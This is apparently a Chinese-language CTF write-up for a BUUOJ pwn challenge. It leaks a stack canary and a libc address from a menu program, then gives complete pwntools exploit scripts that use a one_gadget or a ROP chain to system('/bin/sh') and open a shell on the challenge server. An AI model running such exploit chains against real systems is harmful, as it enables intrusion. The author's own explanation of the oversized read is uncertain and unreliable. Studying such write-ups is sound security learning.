一道蛮神奇的题 两种解法 不过一种有点非常规 不知道出题人怎么设置的
checksec看一下保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
ida查看一下main函数
__int64 __fastcall main (int a1, char **a2, char **a3) { int v3; char s[136 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); memset (s, 0 , 0x80 uLL); while ( 1 ) { menu(); v3 = choice(); switch ( v3 ) { case 2 : puts (s); break ; case 3 : return 0LL ; case 1 : read(0 , s, 0x100 uLL); break ; default : sendline("invalid choice" ); break ; } sendline(&unk_400AE7); } }
menu函数这里就不放了 反正就看这些源码也能知道各个选项对应什么作用
两个比较重要的地方 有一个puts泄露的机会 还有read函数可以读入数据
考虑到程序开启了金丝雀 所以这里的puts可以用来泄露金丝雀
覆盖金丝雀的最后一位 使其不为\x00 因为puts或者printf截停一个字符串就是靠\x00
这里泄露的时候有个小坑 就是你不能想着读入后7位 然后最后用p64把他补全成八位 因为第八位也恒为00嘛
但是pwntools的p64补全是在首位补全
from pwn import *io = process("./a.out" ) context.log_level = "debug" canary = 0x11223344556677 payload = p64(canary) io.sendline(payload)
如上程序 假设canary值为上述那样 我们debug看一下最后会输送什么样的数据
[DEBUG] Sent 0x9 bytes: 00000000 77 66 55 44 33 22 11 00 0a │wfUD│3"··│·│ 00000009
很明显 小端序存储 所以00实际上是被放在了首位
所以可以用sendline多出来的\n字节覆盖\x00 然后接收八个字节的数据 最后-0xa 就能得到带有00的canary
exp:
from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *def libcmath (function_addr,function_name ): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) return system_addr,binsh_addr def csu (offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr ): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(ret_addr) return payload def localconnect (filename ): io = process(filename) return io def remoteconnect (ip,port ): io = remote(ip,port) return io def elf_libc (filename,libc_name ): elf = ELF(filename) libc = ELF(libc_name) return elf,libc def debug (button ): if (button==1 ): context.log_level = "debug" filename = 'pwn' libc_name = 'buu_libc_ubuntu16_64' ip="node4.buuoj.cn" port=29125 elf,libc = elf_libc(filename,libc_name) main_addr = 0x400908 io = remoteconnect(ip,port) debug(1 ) puts_plt = 0x400690 rdi_addr = 0x400a93 puts_got = elf.got['puts' ] leave_addr = 0x400824 io.recvuntil(">> " ) io.sendline(b"1" ) payload = cyclic(0x87 )+b"1" io.sendline(payload) io.recvuntil(">> " ) io.sendline(b"2" ) io.recvuntil("1" ) canary = u64(io.recv(8 ).ljust(8 ,b"\x00" ))-0xa
接下来还要想办法控制程序执行流 一开始看到read只能读入0x100的数据 我是觉得不能构造rop链来泄露libc基址
但是最后查看wp的时候 发现大家都是用泄露基址的办法做的 也是比较神奇 数据竟然能超出限制读入
第一种办法用到的是泄露__libc_start_main函数的地址
稍微了解一下程序函数调用就会知道 main函数并不是程序第一个调用的
__libc_start_main函数的地址应该是在rbp的下一个字长处
io.recvuntil(">> " ) io.sendline(b"1" ) payload = cyclic(0x98 ) io.send(payload) io.recvuntil(">> " ) io.sendline(b"2" ) io.recv(0x98 ) start_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) libc_addr = start_addr - 240 - libc.sym['__libc_start_main' ] print (hex (libc_addr))
这里泄露出来的start_addr之所以要减去240 还得要动调来看
泄露出来的地址距离__libc_start_main函数还有231偏移 当然这只是本地libc的偏移 远程的等下还得微调一下
此时我们得到算式:
libc_addr = start_addr - 231 - libc.sym['__libc_start_main']
在本地上 其后三位是000 但是远程环境不同 运行看一下差了多少
得到的值是0x7f3fea3e8009 多了9 那就减去240就可以得到远程的libc基址了
虽然我们得到了libc基址 但是由于read可以溢出的长度不够我们构造一个system链 所以这里采取修改ret addr为one_gadget
完整exp:
from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *def libcmath (function_addr,function_name ): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) return system_addr,binsh_addr def csu (offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr ): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(ret_addr) return payload def localconnect (filename ): io = process(filename) return io def remoteconnect (ip,port ): io = remote(ip,port) return io def elf_libc (filename,libc_name ): elf = ELF(filename) libc = ELF(libc_name) return elf,libc def debug (button ): if (button==1 ): context.log_level = "debug" filename = 'pwn' libc_name = 'buu_libc_ubuntu16_64' ip="node4.buuoj.cn" port=29125 elf,libc = elf_libc(filename,libc_name) main_addr = 0x400908 io = remoteconnect(ip,port) debug(1 ) puts_plt = 0x400690 rdi_addr = 0x400a93 puts_got = elf.got['puts' ] leave_addr = 0x400824 io.recvuntil(">> " ) io.sendline(b"1" ) payload = cyclic(0x87 )+b"1" io.sendline(payload) io.recvuntil(">> " ) io.sendline(b"2" ) io.recvuntil("1" ) canary = u64(io.recv(8 ).ljust(8 ,b"\x00" ))-0xa io.recvuntil(">> " ) io.sendline(b"1" ) payload = cyclic(0x98 ) io.send(payload) io.recvuntil(">> " ) io.sendline(b"2" ) io.recv(0x98 ) start_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) libc_addr = start_addr - 240 - libc.sym['__libc_start_main' ] onegadget_addr = libc_addr + 0xf1147 io.recvuntil(">> " ) io.sendline(b"1" ) payload = b"a" *0x88 +p64(canary)+p64(0xabcdabcd )+p64(onegadget_addr) io.send(payload) io.recvuntil(">> " ) io.send(b"3" ) io.interactive()
不过这题不知道为啥 read函数虽然对输入的数据进行了限制 但是好像还是可以超额输入 原理暂时还不清楚 留个坑
所以这题可以用构造rop链 泄露libc基址
from pwn import *from LibcSearcher import *p=process('./pwn' ) elf=ELF('./pwn' ) context.log_level='debug' p.sendlineafter(">>" ,'1' ) payload='a' *(0x80 +8 ) p.sendline(payload) p.sendlineafter('>>' ,'2' ) p.recvuntil('a\n' ) canary=u64(p.recv(7 ).rjust(8 ,b'\x00' )) pop_rdi=0x400a93 puts_got=elf.got['puts' ] puts_plt=0x400690 main_addr=0x400908 payload=b'a' *(0x80 +8 )+p64(canary)+p64(0 ) payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.sendlineafter(">>" ,'1' ) p.sendline(payload)
payload总长明显是超过0x100的 但是gdb动调看了一下 确实是能写进去的
你直接打断点是看不到这些栈的内容的 这一段在高地址处 因为是之前执行过的栈
所以你需要用 set $rsp = $rsp - 0x68来调整一下rsp寄存器的位置 因为stack是以sp寄存器为0来延申的
这里还有一点是要注意的 此时我们一直是在while循环中 在执行完一连串的指令后 并不会跳转到返回地址 因为这并不属于一个栈帧的结束 从栈上的地址逐渐降低也可以看出来 所以我们需要手动退出while循环
剩下的就没什么好说的了 完整exp:
from pwn import * from LibcSearcher import * #p=remote('node4.buuoj.cn',27865) p=process('./pwn') elf=ELF('./pwn') context.log_level='debug' #泄露canary p.sendlineafter(">>",'1') payload='a'*(0x80+8) p.sendline(payload) p.sendlineafter('>>','2') p.recvuntil('a\n') canary=u64(p.recv(7).rjust(8,b'\x00')) pop_rdi=0x400a93 puts_got=elf.got['puts'] puts_plt=0x400690 main_addr=0x400908 payload=b'a'*(0x80+8)+p64(canary)+p64(0) payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.sendlineafter(">>",'1') p.sendline(payload) p.sendlineafter(">>",'3') p.recv() puts_addr=u64(p.recv(6).ljust(8,b'\x00')) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') system=libc_base+libc.dump('system') binsh=libc_base+libc.dump('str_bin_sh') payload=b'a'*(0x80+8)+p64(canary)+p64(0) payload+=p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter('>>','1') p.sendline(payload) p.sendlineafter('>>','3') p.interactive()